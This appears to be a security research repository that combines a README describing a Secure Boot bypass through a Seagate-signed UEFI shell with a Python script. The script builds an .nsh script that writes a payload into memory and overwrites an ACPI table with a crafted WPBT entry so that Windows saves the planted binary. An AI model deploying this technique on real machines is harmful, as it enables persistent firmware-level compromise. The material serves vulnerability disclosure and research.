├── Build_exploit.py
├── README.md
└── SeaChest_EFI.zip


/Build_exploit.py:
--------------------------------------------------------------------------------
 1 | import binascii
 2 | import os
 3 | import struct
 4 | 
 5 | #Target address to place binary at , location must persist past ExitBootService
 6 | BINARY_LOCATION_ADDRESS=0x7BB76000
 7 | #Address of target ACPI table to replace 
 8 | ACPI_TABLE_ADDRESS=0x7BBC4000
 9 | 
10 | payload_filename = "native_test_c_temp.bin"
11 | payload_file = open(payload_filename, "rb")
12 | PAYLOAD_FILE_SIZE=os.path.getsize(payload_filename)
13 | 
14 | wpbt = bytearray(b'\x57\x50\x42\x54\x34\x00\x00\x00\x01\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x01\x00\x00\x00\x41\x41\x41\x41\x00\x00\x04\x00')
15 | wpbt.extend(struct.pack("<L", PAYLOAD_FILE_SIZE))
16 | wpbt.extend(struct.pack("<Q", BINARY_LOCATION_ADDRESS))
17 | wpbt.extend(bytearray(b'\x01\x01\x00\x00'))
18 | 
19 | #Calculate 2's compliment 
20 | _sum=0
21 | for x in range(0,len(wpbt)): 
22 |     filebits = int(''.join(format(wpbt[x], 'b') ))  
23 |     bits = ~filebits  
24 |     bits += 1  
25 |     intbits=int(str(bits),2)  
26 |     _sum=_sum+intbits
27 | _2sComp = _sum%256
28 | wpbt[9]=struct.pack("B", _2sComp)
29 | 
30 | #print ''.join('{:02x}'.format(x) for x in wpbt)
31 | start = BINARY_LOCATION_ADDRESS
32 | end = start + PAYLOAD_FILE_SIZE
33 | payload_data = payload_file.read()
34 | file = open('exploit.nsh', 'w')
35 | file.write('echo -off\r\n')    
36 | for i in xrange(start, end,8 ):
37 |     file.write('mm 0x'+format(i, 'X')+' -w 8 0x'+binascii.hexlify(payload_data[i-start+7])+binascii.hexlify(payload_data[i-start+6])+binascii.hexlify(payload_data[i-start+5])+binascii.hexlify(payload_data[i-start+4])+binascii.hexlify(payload_data[i-start+3])+binascii.hexlify(payload_data[i-start+2])+binascii.hexlify(payload_data[i-start+1])+ binascii.hexlify(payload_data[i-start])+'\r\n')
38 | file.write('echo Done uploading payload file to memory\r\n')    
39 | 
40 | for i in xrange(ACPI_TABLE_ADDRESS, ACPI_TABLE_ADDRESS+len(wpbt),1 ):
41 |     file.write('mm 0x'+format(i, 'X')+' -w 1 '+hex(wpbt[i-ACPI_TABLE_ADDRESS])+'\r\n')     
42 | file.write('echo Done patching ACPI table\r\n')    
43 | file.write('echo -on\r\n')    
44 | #Example of a last line in the script to go ahead and start windows.
45 | #file.write('fs1:\\EFI\\Microsoft\\Boot\\bootmgfw.efi\r\n')
46 | file.close()
47 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # SignedUEFIShell
 2 | During our research of the BootHole vulnerability last year, we tried to find as many signed bootloaders as we could. We searched all across the internet and we found these bootloaders were part of rescue CDs, firmware update tools, drive encryption utilities and more. One of these was a bootable usb image that was part of the Seagate utility suite called “SeaChest”.
 3 | 
 4 | From http://support.seagate.com/seachest/SeaChest_Combo_UserGuides.html)
 5 | “SeaChest is a comprehensive, easy-to-use command line diagnostic tool that helps you quickly determine the health and status of your Seagate storage product. It includes several tests that will examine the physical media on your Seagate, Samsung or Maxtor disk drive.“ 
 6 | 
 7 | This particular bootloader has been added to the revoked bootloader list by Microsoft as a response to last year's BootHole vulnerability, meaning that any computer with the latest DBX updates in their UEFI Firmware will not be able to run this tool.
 8 | Caveat: In most platforms, restoring factory default settings for Secure Boot will revert back to a previous version of DBX.
 9 | 
10 | Within the bootable image included within this set of tool there are UEFI Shell binaries, these binaries are signed by Seagate and are loaded by this now revoked bootloader, which essentially means that because Secure Boot is still on while a UEFI Shell is running, only SeaGate signed binaries can run.
11 | 
12 | However, since a UEFI shell is a command line interface that presents the user with a shell to manually type and run commands and scripts like simple commands that include the basic change directory, list directory, copy, move and delete files. And automatic script execution using a similar mechanism to batch files in Windows (Instead of .bat it uses .nsh, more in the specification).
13 | Some of these built in commands allow reading and writing from memory, which can be useful in several ways.
14 | 
15 | In an excellent talk by Alex Ionesu at Syscan 2012, he describes how the ACPI Specification has a definition for a Windows Platform Binary Table (WPBT) which Microsoft describes: “The primary purpose of WPBT is to allow critical software to persist even when the operating system has changed or been reinstalled in a “clean” configuration.”
16 | 
17 | And so, as an experiment we will use the built in memory reading/writing utility in the UEFI Shell to overwrite an existing table with our own WPBT and load a binary to memory allowing for Windows to automatically download and execute it for us.
18 | (For simplicity's sake, we will avoid adding a new table to the existing ones, we will just overwrite the DBG2 table which happens to be the exact size we need for a basic WPBT entry.)
19 | 
20 | Before we begin, a big caveat here is that the binary the WPBT points to has to be signed with a valid code signing certificate, so for this proof-of-concept we’ll just place a file in memory and see if it gets saved to disk by Windows, since Windows will not run it but it will save it ¯\_(ツ)_/¯
21 | 
22 | The python script we have published alongside this post will help you do what we just described by building an .nsh script file for you.
23 | This script uses the UEFI Shell “mm” command for replacing the content of an ACPI table it is pointed at. 
24 | 
25 | Hint: you can use the memmap command in the UEFI shell to get the ACPI location in memory along with other mapped locations you might place data that will persist when windows boot (post ExitBootServices).
26 | 
27 | 
28 | 
29 | References:
30 | https://web.archive.org/web/20180101001804/https://infocon.hackingand.coffee/SyScan/SyScan%202012%20Singapore/SyScan%202012%20Singapore%20presentations/Day2-6Alex%20Ionescu/AlexSyScan12.pdf
31 | https://web.archive.org/web/20210309140158/https://download.microsoft.com/download/8/A/2/8A2FB72D-9B96-4E2D-A559-4A27CF905A80/windows-platform-binary-table.docx
32 | https://web.archive.org/web/20210310034802/http://www.uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf
33 | https://web.archive.org/web/20200807013341/https://www.seagate.com/support/kb/using-seachest-bootable-to-blockerase-ssd/
34 | https://web.archive.org/web/20201202151645/http://support.seagate.com/seachest/SeaChestUtilities.zip
35 | https://web.archive.org/web/20210221001814/https://github.com/Jamesits/dropWPBT
36 | https://web.archive.org/web/20210319021620/http://support.seagate.com/seachest/SeaChest_Combo_UserGuides.html
37 | 
38 | 
39 | 


--------------------------------------------------------------------------------
/SeaChest_EFI.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackingThings/SignedUEFIShell/f34ea6b58cc5a9f75558e0ec33a8449ce3bfc56d/SeaChest_EFI.zip


--------------------------------------------------------------------------------